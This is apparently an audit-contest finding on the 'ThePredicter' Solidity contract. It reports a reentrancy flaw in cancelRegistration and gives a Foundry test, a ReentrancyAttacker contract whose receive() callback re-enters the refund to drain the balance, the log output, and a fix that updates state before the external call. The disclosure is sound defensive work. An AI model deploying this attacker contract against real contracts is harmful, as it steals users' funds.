First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack in the `ThePredicter::cancelRegistration` function allows entrant to drain contract balance.

saurabh_singh

Summary:

ThePredicter::cancelRegistration function does not follow CEI(Check, Effect, Intractions) and as a result cause reentrance of user , enable user to drain the contract balance.

Vulnerability Details :

In the ThePredicter::cancelRegistration function, we first make an external call to the msg.sender address and only after making that external call we update the ThePredicter::playersStatus mapping(status of user).

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success,) = msg.sender.call{value: entranceFee}("");
@> require(success, "Failed to withdraw");
@> playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

A player who has entered the raffle could have a fallback/recieve function that calls the ThePredicter::cancelRegistration function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact : All fee paid by entrants could be stolen by the malicious participant.

Proof Of Concept : Place the following into ThePredicter.test.sol

function testReentrancycancelRefund() public {
//three player enterd the betting contract and there status will be in pending state.
for (uint160 i = 0; i < 3; i++) {
hoax(address(i), 0.04 ether);
thePredicter.register{value: 0.04 ether}();
}
console.log("current balance of contract", address(thePredicter).balance); //0.120000000000000000
​
ReentrancyAttacker attackerContract = new ReentrancyAttacker(thePredicter);
address attackUser = makeAddr("attackUser");
console.log("address of attackuser", attackUser);
vm.deal(attackUser, 0.04 ether);
​
uint256 startAttackerContractBalance = address(attackerContract).balance;
uint256 startingContractBalance = address(thePredicter).balance;
​
console.log("starting attacker contract balance", startAttackerContractBalance);
console.log("starting contract balance", startingContractBalance);
​
vm.prank(attackUser);
attackerContract.attack{value: 0.04 ether}();
​
console.log("ending attacker contract balance", address(attackerContract).balance);
console.log("ending contract balance", address(thePredicter).balance);
}

And the below given contract as well

contract ReentrancyAttacker{
ThePredicter public thePredicter;
​
constructor(ThePredicter _thepredicter) {
thePredicter = _thepredicter;
}
​
function attack() external payable {
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
}
​
function stealmoney() internal {
if (address(thePredicter).balance > 0) {
thePredicter.cancelRegistration();
}
}
​
// fallback() external payable {
// stealmoney();
// }
​
receive() external payable {
stealmoney();
}
}

You will get the following output showing that the fee is stolen by the attacker


[PASS] testReentrancycancelRefund() (gas: 1059820)
Logs:
current balance of contract 120000000000000000
address of attackuser 0x61E508f13189CBFa85E602D504861BC81311112e
starting attacker contract balance 0
starting contract balance 120000000000000000
ending attacker contract balance 160000000000000000
ending contract balance 0

Tools Used:- Manual review

Recommendations :

To prevent this, we should have the ThePredicter::cancelRegistration function update the playersStatus array before making the external call.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success,) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
+ playersStatus[msg.sender] = Status.Canceled;
+ (bool success,) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.